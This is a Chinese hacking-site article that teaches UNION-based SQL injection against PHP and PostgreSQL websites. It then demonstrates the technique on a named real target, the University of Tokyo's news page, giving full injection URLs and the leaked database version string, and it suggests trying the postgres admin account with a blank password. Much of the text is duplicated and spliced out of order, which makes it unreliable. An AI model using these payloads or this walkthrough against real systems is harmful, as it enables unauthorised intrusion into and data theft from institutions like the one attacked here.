WAP手机版 RSS订阅 加入收藏  设为首页
黑客技术
当前位置:首页 > 黑客技术

日本大学入侵系列 东京大学之 - PostgreSQL注常见问题入总结

时间:2019/7/13 11:25:17   作者:安琪   来源:www.hack361.com   阅读:0   评论:0
内容摘要:作者:YoCoSmart来自:SilicGroupHackerArmyWarning:pg_query()[function.pg-query]:Queryfailed:ERROR:UNIONtypescharactervaryingandintegercannotbematchedin/home/sites/web/...

作者:YoCo Smart
来自:Silic Group Hacker Army

Warning: pg_query() [function.pg-query]:
Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307


这个回显是什么意思呢?问题很简单,union前后的字段数相同了,但是类型不同了。
这就像大家来找茬:

1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

2. Union后(我们注入的):SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数,数

复制代码

和我们要来找茬游戏差不多,我们要做的就是矫正字段与字段间的区别。
错误提示中没有提示这14个中,哪一个字段出问题了,我们要一次性让字段数对工整了恐怕有n的14次方种可能,怎么办呢?
很简单,先吧1,2,3,4.....13,14这些字段统统换成NULL,例如:

1. xx.php?id=正确的id数字+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null

复制代码

这样就会正确显示原来的新闻页面了
然后我们试着把null依次换成数字,依次替换一个,如果依然返回正确的新闻页面则保留数字并替换下一个,如果返回错误信息就重新换回null并继续替换下一个
这样我们就得到:

1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

2. Union后(我们注入的):SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数

复制代码

实际中,数字型是占少数的,一般我们都是用文本型做显示位的。
找出文本型显示位很简单,和数字一样,依次替换并确认,只不过这次不是替换成数字,而是替换成文本,例如'a'。

1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

2. Union后(我们注入的):SELECT 数字,'a',NULL,数字,数字,NULL,'a',数,'a',数,'a',数,'a',数

复制代码

这样就明了了吧?
最后应用于实际:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

复制代码

这样八九不离十会出显示位的。
3) GPC设置为on问题
PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢?上面我们讲了,将字符型字段替换为'a'来依次确认,GPC为on,岂不是'a'都变成了\'a\'???
没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。
首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用'a'呢?'a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。
如果我们将'a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

2. xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6

复制代码

整个语句没有用到任何一个单引号
4)注释符问题
PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。
那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“--”,也可以换成%2b%2b,一样的效果。
很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线--则不会出现
5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。
遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的
好了说了这么多,都是理论。我们开始实践吧
目标日本东京大学:
http://www.u-tokyo.ac.jp
这个例子来自本论坛的帖子《PostgreSQL盲注笔记
这个大牛愣是盲注把PostgreSQL给注了。
虽然是很牛的办法,不过我想说,还有更简单的。我们看注入点:

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15-- 页面正确

2. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+16-- 页面错误

复制代码

没有错误回显。但是可以确定字段数位15,显然union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15--以后也是错误的页面,否则不需要盲注了都
那么我们这样呢?

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15-- 错误页面

2. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- 正确页面

复制代码

下一步就是依次替换得到数字类型的字段和文本类型的字段了:

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,1,null,null,null,null,null,null,null,null,null,null,null,null--

复制代码

很可惜,这个页面只有第3个字段是数字型,其他都不是,证据就是,上面剩下的任何一个null替换成数字,都会显示页面错误
那么咱们替换文本类型好了,替换任何一个null为'a'都会出现错误页面,为什么呢?答案就是,gpc为ON,导致'a'变成了\'a\'
盲注帝估计当时就是卡在这里了 :-(
不过好在本文前面说了,GPC为on,就不要用'a'了,用version()代替就好了

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),version()+--

复制代码

得到回显了没?
PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64-bit 


本文基于《PostgreSQL注入语法指南》而写,首先我们先来总结常见问题,常见问题有这样几个
如何判断数据库使用了PostgreSQL数据库,字段数和字段间编码问题,GPC为on时的字符型字段问题,注释符问题。我们一个一个讲
1) 如何判断php搭配数据库为PostgreSQL
我们假设一个php+PostgreSQL并且开启了错误回显的网站有一个注入点,我们在xx.php?id=n后面加单引号',它的回显将会是这样的:

Warning: pg_query() [function.pg-query]:
Query failed: ERROR: unterminated quoted string at or near "'" LINE 1: select * from now where no = 111' ^ in /home/sites/web/school/detail.php on line 307


有这样几个关键字可以判断数据库为PostgreSQL:
操作PostgreSQL的函数pg_query()
关键字function.pg-query中的pg
看熟了MySQL的错误回显,有没有发现这个unterminated quoted string at or near不是MySQL的?MySQL的错误回显和这个区别太大了
2) 字段数和字段间编码问题
我们首先将上面的注入点order by 2可以确认now数据表的字段数大于2,当我们order by 2000的时候,显然不可能有那个表段中有2000条数据,当然会出错

Warning:pg_query() [function.pg-query]:
Query failed: ERROR: ORDER BY position 2000 is not in select list in /home/sites/web/school/detail.php on line 307


这样大致可以确认可以猜出正确的字段数了。假设字段数为14,那么我们按照MySQL的步骤

1. xx.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14

复制代码

这句没问题吧?但是它99%概率会出问题了:


这样就明了了吧?
最后应用于实际:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

复制代码

这样八九不离十会出显示位的。
3) GPC设置为on问题
PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢?上面我们讲了,将字符型字段替换为'a'来依次确认,GPC为on,岂不是'a'都变成了\'a\'???
没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。
首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用'a'呢?'a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。
如果我们将'a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

2. xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6

复制代码

整个语句没有用到任何一个单引号
4)注释符问题
PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。
那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“--”,也可以换成%2b%2b,一样的效果。
很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线--则不会出现
5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。
遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的
好了说了这么多,都是理论。我们开始实践吧
目标日本东京大学:http://www.u-tokyo.ac.jp


这样就明了了吧?
最后应用于实际:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

复制代码

这样八九不离十会出显示位的。
3) GPC设置为on问题
PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢?上面我们讲了,将字符型字段替换为'a'来依次确认,GPC为on,岂不是'a'都变成了\'a\'???
没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。
首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用'a'呢?'a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。
如果我们将'a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

2. xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6

复制代码

整个语句没有用到任何一个单引号
4)注释符问题
PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。
那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“--”,也可以换成%2b%2b,一样的效果。
很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线--则不会出现
5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。
遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的
好了说了这么多,都是理论。我们开始实践吧
目标日本东京大学:http://www.u-tokyo.ac.jp

Warning: pg_query() [function.pg-query]:
Query failed: ERROR: UNION types character varying and integer cannot be matched in /home/sites/web/school/detail.php on line 307


这个回显是什么意思呢?问题很简单,union前后的字段数相同了,但是类型不同了。
这就像大家来找茬:

1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

2. Union后(我们注入的):SELECT 数字,数字,数字,数字,数字,数字,数字,数字,数,数,数,数,数,数

复制代码

和我们要来找茬游戏差不多,我们要做的就是矫正字段与字段间的区别。
错误提示中没有提示这14个中,哪一个字段出问题了,我们要一次性让字段数对工整了恐怕有n的14次方种可能,怎么办呢?
很简单,先吧1,2,3,4.....13,14这些字段统统换成NULL,例如:

1. xx.php?id=正确的id数字+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null

复制代码

这样就会正确显示原来的新闻页面了
然后我们试着把null依次换成数字,依次替换一个,如果依然返回正确的新闻页面则保留数字并替换下一个,如果返回错误信息就重新换回null并继续替换下一个
这样我们就得到:

1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

2. Union后(我们注入的):SELECT 数字,NULL,NULL,数字,数字,NULL,NULL,数,NULL,数,NULL,数,NULL,数

复制代码

实际中,数字型是占少数的,一般我们都是用文本型做显示位的。
找出文本型显示位很简单,和数字一样,依次替换并确认,只不过这次不是替换成数字,而是替换成文本,例如'a'。

1. Union前(程序原来的):SELECT 数字,文本,日期,数字,数字,时间,文本,数字,文,数,文,数,文,数

2. Union后(我们注入的):SELECT 数字,'a',NULL,数字,数字,NULL,'a',数,'a',数,'a',数,'a',数

复制代码

这样就明了了吧?
最后应用于实际:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

复制代码

这样八九不离十会出显示位的。
3) GPC设置为on问题
PHP有个功能是魔术引号,学称“自动字符串转义”,就是你把.php?id=3'or'1'='1访问后PHP自动给你转换成.php?id=3\'or\'1\'=\'1然后进行下一步动作
问题在哪里呢?上面我们讲了,将字符型字段替换为'a'来依次确认,GPC为on,岂不是'a'都变成了\'a\'???
没错,是变了。那么这步就不能进行?答案是能。要知道,计算机是人设计的,人是计算机灵感的来源。
首先向,我们注入的目的是什么?显示内容。那么我们为什么要让它使用'a'呢?'a'只不过是个用来判断的字符,和and 1=2一样,只是用于判断,无实际意义,and 1=2可以替换成1=3,1=4,甚至1=1000000000000000000000,这只是用来判断而已,没意义。
如果我们将'a'换成有意义的呢?例如version()就可以不需要加引号,比较一下:

1. xx.php?id=0+union+select+1,'a',null,2,3,null,'b',2,'c',3,'d',4,'e',6

2. xx.php?id=0+union+select+1,version(),null,2,3,null,version(),2,version(),3,version(),4,version(),6

复制代码

整个语句没有用到任何一个单引号
4)注释符问题
PostgreSQL的注释符不是#,也就是说,末尾如果有语句未结束,不能加/*或者%23来终止。
那么用什么呢?显然是MySQL,MSSQL,SQLite还有PostgreSQL各种通用的“--”,也可以换成%2b%2b,一样的效果。
很好记,2B,二逼。测试中%2b%2b有可能会造成访问的短暂失去响应,目前不知道问题在哪里,而横线--则不会出现
5) 小技巧
PostgreSQL的管理员账户(类似于MySQL的root,MSSQL的sa)名字为postgres,根数据库(类似于MySQL的mysql数据库,MSSQL的master数据库)名字为postgres
root和sa有设置空口令的二逼管理员,PostgreSQL也有很多设置空口令的二逼管理员。
遇到过一些给PostgreSQL设置了nologin的bash shell,后面你懂的,可以尝试登陆它的shell的
好了说了这么多,都是理论。我们开始实践吧
目标日本东京大学:http://www.u-tokyo.ac.jp
这个例子来自本论坛的帖子《PostgreSQL盲注笔记
这个大牛愣是盲注把PostgreSQL给注了。
虽然是很牛的办法,不过我想说,还有更简单的。我们看注入点:

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+15-- 页面正确

2. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+order+by+16-- 页面错误

复制代码

没有错误回显。但是可以确定字段数位15,显然union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15--以后也是错误的页面,否则不需要盲注了都
那么我们这样呢?

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15-- 错误页面

2. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,null-- 正确页面

复制代码

下一步就是依次替换得到数字类型的字段和文本类型的字段了:

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=13072+and+1=1+union+select+null,null,1,null,null,null,null,null,null,null,null,null,null,null,null--

复制代码

很可惜,这个页面只有第3个字段是数字型,其他都不是,证据就是,上面剩下的任何一个null替换成数字,都会显示页面错误
那么咱们替换文本类型好了,替换任何一个null为'a'都会出现错误页面,为什么呢?答案就是,gpc为ON,导致'a'变成了\'a\'
盲注帝估计当时就是卡在这里了 :-(
不过好在本文前面说了,GPC为on,就不要用'a'了,用version()代替就好了

1. http://www.u-tokyo.ac.jp/news/detail_e.html?id=0+union+select+null,version(),1,version(),version(),version(),null,version(),version(),version(),null,null,version(),version(),version()+--

复制代码

得到回显了没?
PostgreSQL 8.4.9 on x86_64-redhat-linux-gnu, compiled by GCC gcc (GCC) 4.4.5 20110214 (Red Hat 4.4.5-6), 64-bit 



标签:日本 大学 入侵 系列 东京 
上一篇:没有了
下一篇:WordPress爆绝对路径的方法
相关评论

本类更新

本类推荐

本类排行

本站资源来自互联网收集 仅供用于学习和交流 请遵循相关法律法规 本站一切资源不代表本站立场

Copyright 2018 黑客361 www.hack361.com All Rights Reserved 

站长QQ1437232096

技术交流群99802923